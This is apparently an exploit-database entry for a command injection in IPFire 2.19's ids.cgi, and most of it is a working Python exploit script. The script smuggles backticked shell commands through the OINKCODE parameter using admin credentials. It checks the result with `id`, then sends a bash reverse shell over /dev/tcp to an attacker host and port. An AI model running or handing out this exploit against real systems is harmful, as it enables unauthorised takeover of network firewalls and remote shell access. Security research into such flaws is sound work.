IPFire 2.19 Remote Code Execution

2017.06.13
Credit: 0x09AL
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# # Title : IPFire 2.19 Firewall Post-Auth RCE # Date : 09/06/2017 # Author : 0x09AL (https://twitter.com/0x09AL) # Tested on: IPFire 2.19 (x86_64) - Core Update 110 # Vendor : http://www.ipfire.org/ # Software : http://downloads.ipfire.org/releases/ipfire-2.x/2.19-core110/ipfire-2.19.x86_64-full-core110.iso # Vulnerability Description: # The file ids.cgi doesn't sanitize the OINKCODE parameter and gets passed to a system call which call wget. # You need valid credentials to exploit this vulnerability or you can exploit it through CSRF. # # import requests # Adjust the ip and ports. revhost = '192.168.56.1' revport = 1337 url = 'https://192.168.56.102:444/cgi-bin/ids.cgi' username = 'admin' password = 'admin' payload = 'bash -i >& /dev/tcp/' + revhost + '/' + str(revport) + ' 0>&1' evildata = {'ENABLE_SNORT_GREEN':'on','ENABLE_SNORT':'on','RULES':'registered','OINKCODE': '`id`','ACTION': 'Download new ruleset','ACTION2':'snort'} headers = {'Accept-Encoding' : 'gzip, deflate, br','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','User-Agent':'IPFIRE Exploit','Referer': url,'Upgrade-Insecure-Requests':'1'} def verifyVuln(): req = requests.post(url,data=evildata,headers=headers,auth=(username,password),verify=False) # Verify false is added because most of the time the certificate is self signed. if(req.status_code == 200 and "uid=99(nobody)" in req.text): print "[+] IPFire Installation is Vulnerable [+]" revShell() else: print "[+] Not Vulnerable [+]" def revShell(): evildata["OINKCODE"] = '`' + payload + '`' print "[+] Sending Malicious Payload [+]" req = requests.post(url,data=evildata,headers=headers,auth=(username,password),verify=False) verifyVuln()


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